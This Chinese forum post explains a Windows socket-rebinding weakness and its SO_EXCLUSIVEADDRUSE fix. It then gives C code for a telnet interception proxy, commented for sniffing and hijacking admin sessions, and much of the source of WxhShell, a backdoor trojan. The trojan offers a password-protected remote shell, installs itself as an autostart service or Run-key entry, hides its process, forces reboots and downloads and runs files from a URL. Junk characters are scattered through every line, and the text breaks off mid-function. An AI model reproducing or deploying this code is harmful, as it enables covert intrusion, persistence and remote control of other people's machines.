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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: yPf,GB"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U9XOs)^  
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  saddr.sin_family = AF_INET; **]=!W  
u)~::2BXAn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L2%npps  
nFjaV`6`@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2UMX%+ "J  
>&JS-j Fg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^V"08  
2E.D0E Cu  
  这意味着什么?意味着可以进行如下的攻击: r@CbhD  
qhmA)AWG>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ${tBu#$-d  
s,j=Kym%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L-|u=c-6  
7-}/{o*,5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NkxW*w%}l  
-+Z&O?pSH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  loD:4e1  
S Q`KR'E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Me-H'Mp~  
xgIb4Y%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eMjW^-RgE5  
lrmz'M'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v{) *P.E  
lGEfI&1%!  
  #include 17lc5#^L  
  #include Z#@<|{eI  
  #include %.s"l6 W  
  #include    5ZjM:wrF|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V0*9Tnc  
  int main() /< \do 1  
  { [?n}?0  
  WORD wVersionRequested; <$8e;:#:  
  DWORD ret; Zzv,p  
  WSADATA wsaData; (kJ"M4*<F'  
  BOOL val; 1ifPc5j}  
  SOCKADDR_IN saddr; tj:>o#D  
  SOCKADDR_IN scaddr; O*1la/~m  
  int err; fn.}LeeS>  
  SOCKET s; t7/a5x  
  SOCKET sc; ~t^'4"K*  
  int caddsize; cK t8e^P  
  HANDLE mt; 4K!@9+Mz  
  DWORD tid;   5xc-MkIRL  
  wVersionRequested = MAKEWORD( 2, 2 ); `IK3e9QpcA  
  err = WSAStartup( wVersionRequested, &wsaData ); eSSv8 [u  
  if ( err != 0 ) { 0*:4@go0}i  
  printf("error!WSAStartup failed!\n"); b$}@0  
  return -1; 6S?*z `v  
  } FD^s5>"Y+  
  saddr.sin_family = AF_INET; t8B==%  
   %M-B"#OB7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &Fl* ,  
.*L_*}tno  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5dhT?/qvc  
  saddr.sin_port = htons(23); y73@t$|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]ChN]>o  
  { s ]Db<f  
  printf("error!socket failed!\n"); k^\>=JTq=  
  return -1; tkEup&  
  } =)2!qoE  
  val = TRUE; **Q K}j[D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8yCQWDE}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $c24lJ#/  
  { 3qq 6X?y*  
  printf("error!setsockopt failed!\n"); 6E.64+PJw  
  return -1; ipJnNy;  
  } 6n'XRfQp)&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; vLh,dzuo  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^BQ*l5K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @Ke3kLQ_\X  
k&3'[&$I*,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'q{|p+  
  { \"mL LnK?  
  ret=GetLastError(); oW8 hC  
  printf("error!bind failed!\n"); )-d &XN7  
  return -1; B#(2,j7M  
  } e[J0+ x#;r  
  listen(s,2); 8}Su7v1  
  while(1) ZTP&*+d  
  { 8(0q,7)y  
  caddsize = sizeof(scaddr); A[X~:p.^G  
  //接受连接请求 2bt2h.a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c>e~$b8  
  if(sc!=INVALID_SOCKET) qEB]Tj e[  
  { S-)%#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BW%"]J  
  if(mt==NULL) f m'Qif q^  
  { #:M)a?E/%  
  printf("Thread Creat Failed!\n"); 0:3<33]x  
  break; &B>YiA  
  } Q2ky|  
  } V7i1BR8G  
  CloseHandle(mt); .+hM1OF`x  
  } ""^.fh  
  closesocket(s); D3-H!TFpDb  
  WSACleanup(); 4) ~ GHb  
  return 0; j%OnLTZ  
  }   lBnG!!VrWa  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^DS+O>  
  { ;COZHj9b  
  SOCKET ss = (SOCKET)lpParam; & l NHNu[  
  SOCKET sc; zq&,KZ  
  unsigned char buf[4096]; 0YVkq?1x9  
  SOCKADDR_IN saddr; ]Vgl  
  long num; do(komP<\  
  DWORD val; b<mxf\b  
  DWORD ret; bol#[_~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]o\y(!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x?MSHOia`P  
  saddr.sin_family = AF_INET; sz%'=J~!V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Mlr}v^"G  
  saddr.sin_port = htons(23); -g]g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &GH ,is  
  { R2$;f?;:  
  printf("error!socket failed!\n"); ~#jD/  
  return -1; =e$6o2!'}  
  } eb>YvC  
  val = 100; e(m#elX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /|2#s%|-=  
  { -wjvD8fL  
  ret = GetLastError(); UP}5Eh  
  return -1; W g2Y`2@t  
  } |KxFi H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wIT}>8o  
  { )Vb_0n=^  
  ret = GetLastError(); 79 ZBVe(}  
  return -1; s8]9OG3g  
  } vS|uN(a.P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `* =Tf  
  { YaDr.?  
  printf("error!socket connect failed!\n"); $!_]mz6*  
  closesocket(sc); \#; -C<[b  
  closesocket(ss); gr")Jw7  
  return -1; r*!sA5  
  } r&t)%R@q  
  while(1) E)dV;1t  
  { Y|iJO>_Uu=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DdL0MGwX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U,4:yc,)s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v8xNtUxN  
  num = recv(ss,buf,4096,0); 6T5nr  
  if(num>0) EK6fd#J?1  
  send(sc,buf,num,0); JS<4%@  
  else if(num==0) d= -/'_'  
  break; V_g9oR_  
  num = recv(sc,buf,4096,0); 9\]%N;;Lo  
  if(num>0) -  zQ  
  send(ss,buf,num,0); . 787+J?  
  else if(num==0) AZCbUkq  
  break; )TBG-<wt  
  } \e/'d~F  
  closesocket(ss); XHu2G t_  
  closesocket(sc); >}*i Qq  
  return 0 ; |*im$[g=-  
  } e'c~;Z\A  
Ta38/v;S  
Q4_+3-g<7L  
========================================================== 0 pH qNlb  
OwwlQp ~!J  
下边附上一个代码,,WXhSHELL EQkv&k5X  
E(e'qL  
========================================================== =_`4HDr  
0~\Dd0W/:`  
#include "stdafx.h" 8S>T1st  
J['paHSF  
#include <stdio.h> &\$l%icuo  
#include <string.h> &r6VF/  
#include <windows.h> ~(xIG  
#include <winsock2.h> c D+IMlT  
#include <winsvc.h> Mlp[xk|  
#include <urlmon.h> |-hzvuSX  
#KonVM(`  
#pragma comment (lib, "Ws2_32.lib") rlvo&(a  
#pragma comment (lib, "urlmon.lib") T6|zT}cb  
byYdX'd.  
#define MAX_USER   100 // 最大客户端连接数 {@u;F2?  
#define BUF_SOCK   200 // sock buffer {iqH 27\E  
#define KEY_BUFF   255 // 输入 buffer V=}b>Jo2j  
9tVA.:FOZ  
#define REBOOT     0   // 重启 9IKFrCO9,  
#define SHUTDOWN   1   // 关机 VN[h0+n4Th  
?#^_yd|<  
#define DEF_PORT   5000 // 监听端口  ? {Lp  
\d0R&vFHQ  
#define REG_LEN     16   // 注册表键长度 d* Y&V$?zl  
#define SVC_LEN     80   // NT服务名长度 "qRE1j@%a  
T1p A <6  
// 从dll定义API 9d4PH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dlC)&Ai  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zLlu% Oc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M?4)U"_VE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9}FWO&LiB  
3y%B&W,sm  
// wxhshell配置信息 c,1Yxg]|  
struct WSCFG { L{|V13?  
  int ws_port;         // 监听端口 m9UI3fBX  
  char ws_passstr[REG_LEN]; // 口令 }!\ZJoa  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8 YAUy\  
  char ws_regname[REG_LEN]; // 注册表键名 Vt:]D?\3  
  char ws_svcname[REG_LEN]; // 服务名 m<wng2`NTv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /a\6&Eb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yAoJ?<4^W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *r)/.rK_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E8WOXoP(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LoLmT7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  M SU|T  
B~cQl  
}; q28i9$Yqj\  
AHP_B&s,Qe  
// default Wxhshell configuration lkK+Fm  
struct WSCFG wscfg={DEF_PORT, mu2r#I  
    "xuhuanlingzhe", o Q= Q}  
    1,  KAmv7  
    "Wxhshell", 1e*+k$-{  
    "Wxhshell", FW:x XK  
            "WxhShell Service", T=}(S4n#BX  
    "Wrsky Windows CmdShell Service", D;It0"  
    "Please Input Your Password: ", -cCujDM#T  
  1, "w0>  
  "http://www.wrsky.com/wxhshell.exe", }\`MXh's  
  "Wxhshell.exe" {Q[{H'Oa  
    }; ^WP`;e  
FFl[[(`%D  
// 消息定义模块 _|xO4{X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "P=OpFV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RV5X0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Crmxsw.W^Y  
char *msg_ws_ext="\n\rExit."; l;: L0(('  
char *msg_ws_end="\n\rQuit."; , gk49z9  
char *msg_ws_boot="\n\rReboot..."; 7_taqcj  
char *msg_ws_poff="\n\rShutdown..."; !Ac<A.  
char *msg_ws_down="\n\rSave to "; U(DK~#}  
8*3<Erv  
char *msg_ws_err="\n\rErr!"; [y| "iSD  
char *msg_ws_ok="\n\rOK!"; GFOd9=[  
!@!,7te  
char ExeFile[MAX_PATH]; A^_BK(EY  
int nUser = 0; KFdTw{GlJ7  
HANDLE handles[MAX_USER]; ^!-*xH.dK  
int OsIsNt; [!4p5;  
rIg1]q  
SERVICE_STATUS       serviceStatus; gmy$_4+6o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F0%FX`b{{  
j`A%(()d  
// 函数声明 s<[%7 6Y!  
int Install(void); y]aV7 `]  
int Uninstall(void); q-gN0"z^6$  
int DownloadFile(char *sURL, SOCKET wsh); f( 5c  
int Boot(int flag); ps"DL4*  
void HideProc(void); Ln0rm9FV-  
int GetOsVer(void); Y~vI@$<~(  
int Wxhshell(SOCKET wsl); ;1&%Wj"d  
void TalkWithClient(void *cs); yazC2Enes8  
int CmdShell(SOCKET sock); M ()&GlNs  
int StartFromService(void); cj@Ygc)n  
int StartWxhshell(LPSTR lpCmdLine); LFob1HH*8  
9D++SU2 :}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *{8K b>D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Eym<DPu$n  
L8N`<a5T  
// 数据结构和表定义 6+(g4MW  
SERVICE_TABLE_ENTRY DispatchTable[] = @FKNB.>  
{ +M!f}=H  
{wscfg.ws_svcname, NTServiceMain}, pi:%Bd&F  
{NULL, NULL} r k;k:<c  
}; uPc}a3'?  
ULqnr@/FbK  
// 自我安装 9(DS"fgC  
int Install(void) $-m@cObw!.  
{ C Fq3  
  char svExeFile[MAX_PATH]; N"/jn_>+j  
  HKEY key; %mPIr4$Pg  
  strcpy(svExeFile,ExeFile); pb1/HhRR^n  
TaeN?jc5  
// 如果是win9x系统,修改注册表设为自启动 m!5P5U x  
if(!OsIsNt) { 5v"QKI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YU.aZdA&V3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s~$ZTzV  
  RegCloseKey(key); f/RzE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5mUHk]W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lN#W  
  RegCloseKey(key); v{ Md4 p  
  return 0; Tz3 L#0:j  
    } PjNOeI@G  
  } w~hO)1c],:  
} B}8xA}<  
else {  fy" q  
6/Y3#d  
// 如果是NT以上系统,安装为系统服务 TJ8IYo| D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @9g$+_"ZT  
if (schSCManager!=0) St9W{  
{ Y%y=  
  SC_HANDLE schService = CreateService =#dW^ ?p  
  ( [ZU6z?Pf  
  schSCManager, ]3]I`e{  
  wscfg.ws_svcname, =mxG[zDtQ  
  wscfg.ws_svcdisp, XQ]noaU  
  SERVICE_ALL_ACCESS, m`gH5vQa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e/JbRbZX  
  SERVICE_AUTO_START, b?eIFI&w^l  
  SERVICE_ERROR_NORMAL, \,)('tUE  
  svExeFile, L,c@Z@  
  NULL, =B@+[b0Z  
  NULL,  P_6oMR  
  NULL, :["iBrFp  
  NULL, F)_jW  
  NULL |l)SX\Qf`@  
  ); _SdO}AiG  
  if (schService!=0) HZC^Q7]hy  
  { ~``oKiPg@  
  CloseServiceHandle(schService); =V~p QbZ  
  CloseServiceHandle(schSCManager); 6U5L>sQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RhR{EO  
  strcat(svExeFile,wscfg.ws_svcname);  PNY"Lqj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V:HxRMF2X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @ -CZa^g  
  RegCloseKey(key); |N, KA|Gdq  
  return 0; o0nd]"q?  
    } wm~35cF(  
  } <y[LdB/a  
  CloseServiceHandle(schSCManager); w%F~4|F  
} <]<P<  
} ^k6 A,Ak  
,]RMa\Q4Wg  
return 1; f Ne9as  
} ))m\d*  
RQhS]y@e  
// 自我卸载 =p~k5k4  
int Uninstall(void) XE8>& & X  
{ T1AD(r\W5  
  HKEY key; `L# pN5  
D*.U?  
if(!OsIsNt) { 0Cd )w4C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |8^53*f ?  
  RegDeleteValue(key,wscfg.ws_regname); 2GeJ\1k  
  RegCloseKey(key); art L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bQd'objpY  
  RegDeleteValue(key,wscfg.ws_regname); Ug(;\*yg  
  RegCloseKey(key); &$$KC?!w  
  return 0; (%.[MilxPM  
  } APY^A6^:j  
} QS(aA*D  
} HZ%2WM  
else { -Uj)6PzGu  
%L(;}sJ.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SR)jJ=R3  
if (schSCManager!=0) iY@wg 8ry  
{ S&(MR%".  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $>^DkrOd  
  if (schService!=0) ZYRZ$87jZ  
  { e=uElp'%  
  if(DeleteService(schService)!=0) { \%& BK.t  
  CloseServiceHandle(schService); u~b;m  
  CloseServiceHandle(schSCManager); oA/[>\y  
  return 0; LFvO[&  
  } jlaU3qXL  
  CloseServiceHandle(schService); EHI %QT  
  } n}0n!Pr^  
  CloseServiceHandle(schSCManager); VPOzt7:  
} h[eC i  
} DzZEn]+zt  
uBpnfIe  
return 1; ` mvPbZ0<  
} K|^PHe  
80J87\)  
// 从指定url下载文件  vVvx g0  
int DownloadFile(char *sURL, SOCKET wsh) _{Z!$q6,  
{ `Xs3^FJt  
  HRESULT hr; l$[7 pM[  
char seps[]= "/"; lL8pIcQW  
char *token; rK` x<  
char *file; P ?^h  
char myURL[MAX_PATH];  SXqWq  
char myFILE[MAX_PATH]; f6/<lSoW  
BQWhTS7  
strcpy(myURL,sURL); yV"k:_O{  
  token=strtok(myURL,seps); r_R( kns  
  while(token!=NULL) xA7>";sla[  
  { GgT 5'e;N  
    file=token; +lYo5\1=  
  token=strtok(NULL,seps); uX/K/4  
  } JRgrg &#  
|)TI&T;k  
GetCurrentDirectory(MAX_PATH,myFILE); "Yp:{e  
strcat(myFILE, "\\"); f%,Vplb  
strcat(myFILE, file); %<dvdIB  
  send(wsh,myFILE,strlen(myFILE),0); TEJn;D<1I,  
send(wsh,"...",3,0); 2uSXC*Phz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c/Dk*.xy<  
  if(hr==S_OK) O$eNG$7  
return 0; ) wZ;}O  
else L<D<3g|4  
return 1; 8NF93tqD6  
7C;oMh5  
} 0Y>5&  
pseN!7+or  
// 系统电源模块 Fal##6B  
int Boot(int flag) EKgY  
{ r!+..c  
  HANDLE hToken; g49G7sk  
  TOKEN_PRIVILEGES tkp; I3I1<}>]Z  
Yamu"#  
  if(OsIsNt) { y -6{>P/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k2 _i;v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cePe0\\  
    tkp.PrivilegeCount = 1; 6 4,('+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oMNt676  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !k3 eUBF  
if(flag==REBOOT) { cy-o@U"s8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UWXl c  
  return 0; Ei HQ&u*  
} #zf,%IYF  
else { I%|,KWM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nmo<t]  
  return 0; qkbGM-H%U  
} zH5pe  
  } WWEZTFL:j  
  else { #"qP4S2  
if(flag==REBOOT) { N%f% U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n 9>**&5L  
  return 0; C ^IPddw>  
} V?L8BRnV  
else { \V(w=   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ""f'L,`{.  
  return 0; P:#KBF;a  
} :{LNr!I?I  
} BQ:hUF3  
+dG3/vV  
return 1; Hk8lHja+\  
} JW},7Ox  
?S<`*O +  
// win9x进程隐藏模块 MvKr~  
void HideProc(void) O7"16~ a  
{ 56?RFnZ&j  
%f?Z/Wn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fsjCu!  
  if ( hKernel != NULL ) y9Q #%a8V  
  { ~tc,p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !AXt6z cZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b!<\#[ A4  
    FreeLibrary(hKernel); drQI@sPp  
  } .fgVzDR|+  
>~;= j~  
return; r!<)CT}D  
} fi~jT"_CI  
,W|cyQ  
// 获取操作系统版本 $L4h'(s  
int GetOsVer(void) rT|wZz9$@  
{ ?CD[jX}!  
  OSVERSIONINFO winfo; 2C Fgit  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V7"^.W*  
  GetVersionEx(&winfo); F{G.dXZZ<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /UqIkc  
  return 1; 4KX\'K  
  else ym8pB7E7%  
  return 0; tfCK^{  
} (PC)R9r5  
2EH0d6nt  
// 客户端句柄模块 Ya &\b 6  
int Wxhshell(SOCKET wsl) ffQm"s:P  
{ :+_  
  SOCKET wsh; eakQZ-Q  
  struct sockaddr_in client; r3NdE~OAi  
  DWORD myID; r>ag( ^J\  
=[:pm)   
  while(nUser<MAX_USER) _+9o'<#u(  
{ >} E  
  int nSize=sizeof(client); G3o`\4p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }60/5HNr  
  if(wsh==INVALID_SOCKET) return 1; $jOp:R&I^3  
cN:dy#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z,oCkv("n  
if(handles[nUser]==0) I8/tD|3  
  closesocket(wsh); c2u*<x  
else :6 qt[(<"  
  nUser++; ] T<#bNK\1  
  } |va^lT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7Bym?  
1+#E|YWJ  
  return 0; N;v]ypak  
} 9>@Vk vpY  
R2A#2{+H  
// 关闭 socket X4<Y5?&0  
void CloseIt(SOCKET wsh) N/zP!%L  
{ d"tR ?j  
closesocket(wsh); l<;~sag  
nUser--; 6Nws>(Ij  
ExitThread(0); P]O=K  
} `B~zB=}  
Ig<# {V  
// 客户端请求句柄 CK#i 6!~r  
void TalkWithClient(void *cs) B- D&1gO  
{ Oye6IT"  
$)eS Gslz  
  SOCKET wsh=(SOCKET)cs; @*roW{?!  
  char pwd[SVC_LEN]; U4[GA4DZ   
  char cmd[KEY_BUFF]; 1ozb tn  
char chr[1]; #5=W[+4eN  
int i,j; CFUn1^?0  
[1mEdtqf*  
  while (nUser < MAX_USER) { NwVhJdo  
]=p^32  
if(wscfg.ws_passstr) { "yc|ng  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $*:g~#bh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N@Q_5t0bk  
  //ZeroMemory(pwd,KEY_BUFF); a2[rY  
      i=0; >Q=Q%~  
  while(i<SVC_LEN) { P;eXUF+jn  
#-o 'g!  
  // 设置超时 T!I3.  
  fd_set FdRead; +KaVvf  
  struct timeval TimeOut; pqTaN=R8  
  FD_ZERO(&FdRead); R9  Y@I  
  FD_SET(wsh,&FdRead); ];'7~",Y  
  TimeOut.tv_sec=8; z8XWp[K  
  TimeOut.tv_usec=0; /I((A /ks  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yp[,WZt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .%!^L#g  
TT no  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %OsxXO?  
  pwd=chr[0]; 6a<zZO`Z6+  
  if(chr[0]==0xd || chr[0]==0xa) { 6Jq3l_  
  pwd=0; I1#MS4;$^  
  break; 3~{0X-  
  } DJ9x?SL@KD  
  i++; A+j!VM   
    } PuhvJHT  
Z6-ZAS(>m  
  // 如果是非法用户,关闭 socket M!D6i5k,   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gWL`J=DiU  
} :G#+ 5 }  
5,4m_fBoW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {9@u:(<X9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <xe_t=N  
Cg|\UKfy$  
while(1) { '\GU(j  
1:r#m- \  
  ZeroMemory(cmd,KEY_BUFF); _u'y7-  
Uy.ihh$I-  
      // 自动支持客户端 telnet标准   2C1NDrS;}  
  j=0; %P{3c~?DH  
  while(j<KEY_BUFF) { 3 /PvH E{R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ` Z/ MQ  
  cmd[j]=chr[0]; e0#t  
  if(chr[0]==0xa || chr[0]==0xd) { 'tDUPm38  
  cmd[j]=0; _''un3eCY  
  break; /\;m/cwrl"  
  } MMUlA$*t  
  j++; l|{[vZpT  
    } nW} s  
xQ2: tY#?  
  // 下载文件 a6Joa&`dv  
  if(strstr(cmd,"http://")) { )\j dF-s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !!ma]pB,  
  if(DownloadFile(cmd,wsh)) *H i}FI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Bnk '  
  else >t<\zC|~w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r6R@"1/  
  } m;A[ 2 6X  
  else { L^zh|MEyzk  
hsT&c|  
    switch(cmd[0]) { }dHdy{$  
  ?z <-Ww  
  // 帮助 JypP[yQ  
  case '?': { bdLi _k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6(BgnH8oc  
    break; 9UVT]acq  
  } }-J0cV  
  // 安装 Nu OxEyC  
  case 'i': { }%-iJ\  
    if(Install()) ZzjCS2U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fUGappb  
    else Zxhbnl6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YaL:6[6  
    break; OScqf]H  
    } (Q @'fb9z  
  // 卸载 x$bUd 9  
  case 'r': { aL`wz !  
    if(Uninstall()) "<{|ni}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,p OGT71  
    else TVx `&C+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "wuO[c&%/  
    break; jd,i=P%  
    } %q~q,=H$]  
  // 显示 wxhshell 所在路径 fm`V2'Rm  
  case 'p': { A)V*faD  
    char svExeFile[MAX_PATH]; | oK9o6m4  
    strcpy(svExeFile,"\n\r"); Aq*?Q/pV  
      strcat(svExeFile,ExeFile); :enR8MS  
        send(wsh,svExeFile,strlen(svExeFile),0); @K+gh#  
    break; uo J0wG.  
    } f$6N  
  // 重启 h6OQeZ.  
  case 'b': { ]@ke_' "  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wpN3-D  
    if(Boot(REBOOT)) fISK3t/=C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ilitwRN3  
    else { UAT\ .  
    closesocket(wsh); 9cUa@;*1  
    ExitThread(0); $A-X3d;'\/  
    } biU_ImJ>0  
    break; |Tc4a4jS  
    } zL9~gJ  
  // 关机 9Li*L&B)  
  case 'd': { =>B"j`oR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w$AR  
